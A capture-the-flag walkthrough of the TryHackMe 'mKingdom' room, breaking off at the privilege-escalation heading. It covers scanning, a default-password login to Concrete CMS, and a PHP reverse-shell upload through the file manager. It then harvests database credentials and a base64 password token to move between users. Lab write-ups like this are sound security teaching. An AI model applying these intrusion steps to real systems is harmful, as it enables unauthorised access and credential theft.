> For the complete documentation index, see [llms.txt](https://manav-g-krishna.gitbook.io/tryhackme-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://manav-g-krishna.gitbook.io/tryhackme-writeups/mkingdom.md).

# mKingdom

Beginner-friendly box inspired by a certain mustache man.

{% embed url="<https://tryhackme.com/r/room/mkingdom>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUY4cMxPmQvurUJvFK7lb%2Fimage.png?alt=media&amp;token=c99dbcac-cdcc-465b-8ffd-2cd3fac6464a" alt="" data-size="line"><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FSznbBRdyt8wY71fXA2mM%2Fimage.png?alt=media&amp;token=71248350-0b93-4df1-af98-d491ab7e6e4a" alt="" data-size="line">

**`Machine IP`**: 10.10.54.202

**`Hosts file entry`**: echo '10.10.54.202 mkingdom.thm' | sudo tee -a /etc/hosts

**`Nmap Scan`**:&#x20;

```bash
nmap -p- -A -v --min-rate 100 -oN mkingdom_thm -Pn mkingdom.thm

Nmap scan report for mkingdom.thm (10.10.54.202)
Host is up (0.16s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 0H N0! PWN3D 4G4IN
|_http-server-header: Apache/2.4.7 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/17%OT=85%CT=1%CU=36511%PV=Y%DS=2%DC=T%G=Y%TM=6670
OS:4B91%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=Z%CI=I%TS=8)SEQ(S
OS:P=106%GCD=1%ISR=10D%TI=Z%CI=I%TS=8)SEQ(SP=106%GCD=2%ISR=10E%TI=Z%CI=I%II
OS:=I%TS=8)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7
OS:%O5=M508ST11NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%
OS:W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%R
OS:D=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U
OS:1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DF
OS:I=N%T=40%CD=S)

Uptime guess: 0.010 days (since Mon Jun 17 19:59:48 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   165.85 ms 10.11.0.1
2   166.23 ms mkingdom.thm (10.10.54.202)
```

The scan results shows that we have only one open port, that is port **`85`**, running an **`Apache web server`**.

**`Checking out port 85`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FwkQvwNK0WMZHm32fKqb1%2Fimage.png?alt=media&amp;token=1b0f76b2-c5d0-4123-ba18-d3c9c3d548f3" alt=""><figcaption></figcaption></figure></div>

There was nothing interesting in the **`source code`** of the page.

We can download the **`image`** on this page and can **`extract`** the **`metadata`** from it using **`exiftool`** , to see if we get any good information:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FkJtJyBkqCHlQUSBygJ2j%2Fimage.png?alt=media&amp;token=93777acb-6316-4c4b-af81-7c4e6dd300bc" alt=""><figcaption></figcaption></figure></div>

**`Commands`**:

```bash
wget http://mkingdom.thm:85/img1.jpg
```

```bash
exiftool img1.jpg
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FDV37Qu4cdIyRQ7nk6JaU%2Fimage.png?alt=media&amp;token=6a08055f-8d78-411e-b597-9b7297452d4a" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FLhkNGoIsglXuAOYjDycq%2Fimage.png?alt=media&amp;token=ef08c522-c6a8-4272-8acd-0761786be3b8" alt=""><figcaption></figcaption></figure></div>

The **`Creator`** field set to **`b0w53r`** shows that the image was created by **`b0w53r`**.&#x20;

Now we can do some **`directory busting`**:

**`Command`**:

```bash
dirsearch -u http://mkingdom.thm:85/
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FF4Wt6xzKqNgDg33m73Et%2Fimage.png?alt=media&amp;token=a16bfb86-6041-4376-8565-4ec76bf7a196" alt=""><figcaption></figcaption></figure>

There is a path named **`/app`**. We can check this out:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FxfWN2594fBgaYjZpbWWj%2Fimage.png?alt=media&amp;token=93fe49e3-8f57-4f77-a468-aa4da422a98a" alt=""><figcaption></figcaption></figure>

The **`source code`** says that, upon clicking on **`JUMP`** we will be redirected to a **`castle`** page:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F2ePZBLPBtEW0unCW56ma%2Fimage.png?alt=media&amp;token=aa6c3625-7e15-4451-97b1-f2a266e2162c" alt=""><figcaption></figcaption></figure>

**`Doing the same`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FRniMt0kMjV1LWkUHh6ll%2Fimage.png?alt=media&amp;token=08945ed4-1df3-4de7-a497-e7063aff26e6" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FbUl4f2S0xYvRymuw6QJQ%2Fimage.png?alt=media&amp;token=9a6d060c-65c5-458a-a107-af73310ca25d" alt=""><figcaption></figcaption></figure>

We are now at **`/app/castle`** page.

**`Exploring the page`**:

We can see what **`Wappalyzer`** tells us:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FxPVy92AAccWJJcPGKtcx%2Fimage.png?alt=media&amp;token=82c74dd3-92a2-46c7-864e-13a6ab079113" alt=""><figcaption></figcaption></figure></div>

The **`CMS`** (**`Content management system`**) being used is **`Concrete CMS`** - **`8.5.2`**.

The same information can be fetched by using a **`tool`** called **`cmseek`** and also by checking out the **`source code`** of the page:

**`Command`**:

```bash
cmseek -u http://mkingdom.thm:85/app/castle/
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FeEv74jvIhOh1Lk7WOXkA%2Fimage.png?alt=media&amp;token=f8109a4d-ab33-4f7b-9931-b7d332e409aa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FGEEqwXvBntihdf6ULwII%2Fimage.png?alt=media&amp;token=190f2b47-43b1-4288-850a-b1764b8b6393" alt=""><figcaption></figcaption></figure>

Towards the **`bottom`** of the page we find this:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FFlR53kzHplNZKpdYgWyW%2Fimage.png?alt=media&amp;token=65290031-331a-43e8-abc3-c77580b2b816" alt=""><figcaption></figcaption></figure>

A **`Log In`** option. There was nothing of interest in the page's **`source code`** other than the **`CMS version`**.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FCMs9jIwuZad2OVgmWgGm%2Fimage.png?alt=media&amp;token=13a2b873-be0d-4797-aa1b-9a5a793c35fb" alt=""><figcaption></figcaption></figure>

Since we know the **`CMS`** being used, we can try to find if there any **`default`** credentials:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FbMNCyGzBirKqBlYvmFnl%2Fimage.png?alt=media&amp;token=f6be99d0-fba8-43e2-84bc-dac1f1abad1f" alt=""><figcaption></figcaption></figure></div>

The **`default`** username is **`admin`**, but there is **`no default`** password.&#x20;

Now we can try out a few possible **`default passwords`** such as **`admin`**, **`password`**, **`password123`** etc. The correct **`password`** turned out to be **`password`** itself.

**`Logging in`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FmmRf0pubwGwfaKz80lyr%2Fimage.png?alt=media&amp;token=53ded974-6c92-4803-8558-cf6c5f369e69" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FWdOhra6XLrLbWWhoBRqo%2Fimage.png?alt=media&amp;token=b22bfdd2-0911-4306-8398-ca1d06ce34a4" alt=""><figcaption></figcaption></figure>

We are now logged in as **`admin`**.  The **`name`** that we got previously from the **`image`** on the root of the website, not sure what that was for. Now we can try to find some **`exploits`** for the version **`8.5.2`** of **`Concrete CMS`**.

**`Finding exploits`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FXPyGxfARgUX3ErvRou9K%2Fimage.png?alt=media&amp;token=901ad6bf-6bb1-476e-a995-b691cf921c96" alt=""><figcaption></figcaption></figure>

{% embed url="<https://vulners.com/hackerone/H1:768322>" %}

**`Exploitation steps`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F1b6OLr4SY5OEtSPGO9wC%2Fimage.png?alt=media&amp;token=ac9368f8-de27-4543-b381-d288d6eb0d0c" alt=""><figcaption></figcaption></figure>

**`Following the same`**:

1. **`Visiting Allowed File Types`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FwzswPHXVg9z9c3S5cEGE%2Fimage.png?alt=media&amp;token=8cc5a49b-fd53-443f-8265-0124011459b3" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FLjRe38R1fIk07ipVOkqr%2Fimage.png?alt=media&amp;token=90176947-7dc0-4b94-8e0b-5f43532a95d8" alt=""><figcaption></figcaption></figure>

2. **`Adding php extension and Saving`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FNh3VxztMxt8zt3qhwab4%2Fimage.png?alt=media&amp;token=7d1b7ad5-2111-4157-b454-511548e02050" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUEBk26YHsxjkcltMBoBi%2Fimage.png?alt=media&amp;token=72c5dad6-2227-4f6c-ae79-1d7aa9eced4b" alt=""><figcaption></figcaption></figure>

3. **`Visiting File Manager`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FJWrtRJEGupJzPaCtKp5q%2Fimage.png?alt=media&amp;token=db08a951-12d3-4a40-81ce-ab71937fa8b1" alt=""><figcaption></figcaption></figure></div>

4. **`Fetching a PHP payload and Uploading`**:

In the **`POC`**, an **`msfvenom`** payload is what is being used. Instead we can use the **`PHP PentestMonkey`** one from **`revshells.com`**:

{% embed url="<https://www.revshells.com/>" %}

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fs2dSnYqM4OhUusKUXrk8%2Fimage.png?alt=media&amp;token=1b49b364-7094-41ab-92d5-f684c78bbd30" alt=""><figcaption></figcaption></figure></div>

Have saved it as **`shell.php`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FHPsffda3nBzncpEpOOX5%2Fimage.png?alt=media&amp;token=320a91ab-7a12-443d-a94f-7f883ae5e9cd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F8Z86vykIGMpLA5FZ7jZJ%2Fimage.png?alt=media&amp;token=465418b1-2977-48f0-a263-c3415a328580" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FwL7QTgyQnk5ndIVHflRp%2Fimage.png?alt=media&amp;token=21a73926-de97-4616-b5b7-b59449cb4c00" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FIkjVbx8aRwoRxEMWcyG7%2Fimage.png?alt=media&amp;token=4f8bb0a9-eceb-4321-9770-ce49dd16fbbd" alt=""><figcaption></figcaption></figure></div>

Click on **`Close`**.&#x20;

The moment we close it we get this **`window`** saying - **`Upload Complete`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FBTBeLDcwgvqjo6ZAlmg3%2Fimage.png?alt=media&amp;token=6b530da9-c3f5-415a-904e-31b347a3493b" alt=""><figcaption></figcaption></figure>

Setting up a listener on port **`4444`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FN5gcfhHI41WOuyovDDA2%2Fimage.png?alt=media&amp;token=1246ed36-0b68-4716-9db8-82b2d057a25a" alt=""><figcaption></figcaption></figure></div>

Now upon clicking on the **`URL to File`** / **`Tracked URL`** link the **`PHP`** shell must get **`triggered`** and we should be getting a **`connection`** on our listener.

We indeed have got the **`shell`** as **`www-data`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FAca4G6JNNV8GRu0NR8Rf%2Fimage.png?alt=media&amp;token=208a4eb3-f735-4423-a60c-6d6f1f000f7d" alt=""><figcaption></figcaption></figure>

**`Stabilizing the shell`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FXCAd3f6kORUiu6s4YZO9%2Fimage.png?alt=media&amp;token=a30ced5e-7d4d-4b8c-90c5-293a187db418" alt=""><figcaption></figcaption></figure>

**`Enumeration`**:

We have **`two`** users other than root having a **`console`**, that is **`toad`** and **`mario`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F0SeQS4XhDfbzHTUHFCTj%2F2024-06-21_17-50.png?alt=media&amp;token=161e1997-6513-486a-bab4-7be0351b1241" alt=""><figcaption></figcaption></figure></div>

Checking for **`binaries`** that have the **`SUID`** bit set:

**`Command`**:

```bash
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fpb3Goq6aMiabKMadcKQD%2F2024-06-21_19-57.png?alt=media&amp;token=19fa2f97-0641-42db-83c6-31526ccd6b11" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fp2flqsN1nRBb3eCGYxii%2F2024-06-21_19-57_1.png?alt=media&amp;token=bccb7ddf-2a0c-4c72-8be2-3f409f1e6ca6" alt=""><figcaption></figcaption></figure></div>

The **`cat`** binary has the **`SUID`** bit set:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FVGYmIf0BzsPFt28BpcNO%2F2024-06-21_20-41.png?alt=media&amp;token=e506b95b-df17-4f80-bc81-70b42461f168" alt=""><figcaption></figcaption></figure>

This means the **`cat`** command will only run as the **`owner`** as far as the **`SUID bit`** is set, in this case, **`toad`**.

So a direct **`root flag`** fetching is **`not`** possible as even after becoming **`toad`**, **`toad`** simply can't **`traverse`** inside **`/root`** directory even if the **`root`** flag had **`read permissions`** for **`others`** (**`toad`** in this case) due to fully **`restrictive default permissions`** of the **`/root`** directory (**`drwx------`**). This also applies even if **`cat`** **`didn't`** have the **`SUID`** bit set. The same **`permission restriction`** is there by **`default`** on the **`/home/[user]`** directories too.

All other users who are neither the **`owner`** nor **`members`** of the **`group`** for the file falls under **`others`**. The **`root flag`** could have been fetched if the **`owner`** of **`cat`** was set to **`root`** along with the **`SUID bit`** set.&#x20;

**`Removing`** the **`SUID bit`** eases **`restrictions`** as once the **`bit`** is removed, **`cat`** command when run, runs as the user **`running the command`** itself. So if we are using **`cat`** after becoming **`mario`**, **`cat`** command runs as **`mario`**, if we are using **`cat`** after becoming **`root`**, **`cat`** command runs as **`root`**. The **`owner`** of the **`binary`** **`doesn't`** have any effect at all.

**`Checking out common directories`**:

This leads us to a **`database.php`** file within the directory - **`/var/www/html/app/castle/application/config`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FNmyMyyvDbuKPULlKCJSb%2F2024-06-21_17-54.png?alt=media&amp;token=41b34f5d-2225-42d3-9404-f232f90796f6" alt=""><figcaption></figcaption></figure>

The file had **`MySQL`** credentials. The **`username`** being **`toad`**. The first thing that comes to our mind is that we could try to **`get in as toad`** using the found **`password`**. But before this, let us see if we have **`MySQL`** running and if we could possibly **`connect`** to the **`database`** that might contain some information about the other user, **`mario`**.

**`Checking out active network connections`**:

**`Command`**:

```bash
ss -tulpen
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FbOukbcJFfOrS71f2lzKn%2F2024-06-21_17-55.png?alt=media&amp;token=b24b83f9-681a-4330-b6d4-9441700f50d8" alt=""><figcaption></figcaption></figure>

And we indeed notice port **`3306`** running & listening for connections on the machine's **`localhost`**.

**`Connecting  to the database`**:

**`Command`**:

```bash
mysql -u toad -p  //The password will be prompted for
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FsKJkK6wDAtrOBHVag8v8%2F2024-06-21_17-58.png?alt=media&amp;token=20c3ec20-52f6-4d37-ab73-0dd373b627a8" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FEI7rjdJgr7LXfN6HBAYF%2Fimage.png?alt=media&amp;token=f0949a65-2cdd-4874-878b-246c78622036" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FDViu1Oen5HYalqcdjpGX%2Fimage.png?alt=media&amp;token=fbef8761-7e1c-40dd-8f57-6bd585f07e8d" alt=""><figcaption></figcaption></figure>

The only thing that we find is the **`admin's hashed password`** (**`password`**), the **`Concrete CMS`** **`login password`** that we had used initially.&#x20;

We can confirm it is the **`same`** post **`cracking`** it:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fgwz2sPi1ZGVUP8bhDRej%2Fimage.png?alt=media&amp;token=ea44abf8-42b1-439b-874b-15320d5afbd9" alt=""><figcaption></figcaption></figure></div>

Nothing of interest in the **`database`**.

Now we try to get in as **`toad`** using **`su`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FuozTBldU1TaY6qHCibZT%2F2024-06-21_19-54.png?alt=media&amp;token=85fc0672-b573-464f-95f4-8fddee0c33a6" alt=""><figcaption></figcaption></figure></div>

As expected we are the user **`toad`**.

Now we can **`remove`** the **`SUID`** bit being set on **`cat`**:

**`Command`**:

```bash
chmod u-s /bin/cat
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FbtKSebNxRDHowhnuOuoy%2F2024-06-21_20-43.png?alt=media&amp;token=42a7076e-4dd3-4dc3-84c3-2a1bd5970619" alt=""><figcaption></figcaption></figure></div>

Now the **`s`** is replaced with **`w`**. The **`SUID bit`** has been removed.&#x20;

We don't have the **`user flag`** in **`toad's`** **`home`** directory. Let us now do some more **`enumeration`**.

**`Enumeration`**:

We can't run **`sudo`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FYwb3AIcq1Ca5FsLczwYd%2F2024-06-21_20-25.png?alt=media&amp;token=0b0703c6-3834-4c87-87da-25584936cc3e" alt=""><figcaption></figcaption></figure></div>

The **`.bashrc`** files gives us a **`base64`** encoded **`password token`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F8cnL2SlbXUPKsuUTi5FJ%2F2024-06-21_20-09.png?alt=media&amp;token=241d7c34-c101-4d35-9aa1-4124b9cb2938" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FdKresA2b9BcMFJWY2ziT%2F2024-06-21_20-09_1.png?alt=media&amp;token=90335ad8-3d74-45e5-934f-ab77962f92e9" alt=""><figcaption></figcaption></figure></div>

The **`same`** can be found out by fetching the **`environment variables`** too:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FCDfHgI2YmLCmLumnOwrN%2F2024-06-21_20-11.png?alt=media&amp;token=ddf2f282-d7d7-4e67-b881-6013d931c6bf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F4BUGBXa3duqN8a4sDOb5%2F2024-06-21_20-12.png?alt=media&amp;token=106e7748-36bd-4a56-a8d5-cb1ff6c1d990" alt=""><figcaption></figcaption></figure>

**`Decoding the PWD_TOKEN`**:

**`Command`**:

```bash
echo -n aWthVGVOVEFOdEVTCg== | base64 -d
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FVU7R8TaRToqtgePmHewy%2F2024-06-21_20-23.png?alt=media&amp;token=04372262-a6f8-4b7f-8b1a-12da81a182af" alt=""><figcaption></figcaption></figure></div>

We get the **`password`**. This might be **`mario's password`**. We can try to **`get in`** as **`mario`** using **`su`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FKjft46SkRa82p8c90GNd%2F2024-06-21_20-24.png?alt=media&amp;token=a1a90129-e8d7-4761-9a70-b9482438aa35" alt=""><figcaption></figcaption></figure></div>

We are now the user **`mario`**.

**`Enumeration`**:

We have the user flag in **`mario's`** **`home`** directory:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fqvdh1aZGByomTb70NWHP%2F2024-06-21_20-45.png?alt=media&amp;token=a4461e2f-11ba-4410-842d-57bd1cb92913" alt=""><figcaption></figcaption></figure>

Firstly we are able to use **`cat`** as we had **`removed`** the **`SUID bit`** when we were **`toad`**. So as mentioned before now **`cat`** when used **`runs as mario`** itself. Secondly the **`user flag's`** file **`owner`** and **`group`** is **`root`** and due to this **`mario`** falls under **`others`**. The main reason why we are able to still **`read`** the **`flag`** is because, **`others`** have **`read permissions`** on the **`file`** (**`r--`**).

If we **`hadn't removed`** the **`SUID bit`** before, upon trying to **`cat`** the **`user flag`** we would be getting this:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FPvGeJUAkQNkAtycBqSo4%2Fimage.png?alt=media&amp;token=a8b89c9b-ab87-4468-9a5f-9ffc26dd4cf0" alt=""><figcaption></figcaption></figure></div>

This is because even though **`toad`** too falls under **`others`** itself in the context of the **`user flag`** and since **`others`** can read it even with the **`SUID bit`** set, it just **`doesn't work`** due to the **`permissions`** (**`drwx------`**) on **`mario's`** **`home`** directory (**`/home/mario`**). So **`toad`** **`can't`** even **`traverse`** it in the first place to fetch the **`user flag`**.

But we can still **`read`** the **`flag`** using other **`utilities`** as only **`cat`** is what **`can't`** be used (**`without removing the bit`**):

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FRic7oAO7dVZiuTNs1g3G%2F2024-06-21_21-23.png?alt=media&amp;token=37abeb7f-03d3-4eeb-9b79-963449d3b8ae" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FWvJJoOhMC9hHwDouHsWw%2F2024-06-21_21-23_1.png?alt=media&amp;token=7b90fb36-0be6-47de-aec8-1878fd17f5ec" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FKgfi7hcRtUowyv3vOc9J%2F2024-06-21_21-24.png?alt=media&amp;token=b565cb57-9c9b-43f9-9ad8-0b8f54976275" alt=""><figcaption></figcaption></figure></div>

**`Privilege Escalation`**:

Checking for **`sudo`** **`rights`**/**`privs`**:

